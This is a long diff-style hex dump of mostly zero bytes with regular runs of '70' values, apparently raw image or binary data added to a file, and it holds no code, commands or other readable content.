+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 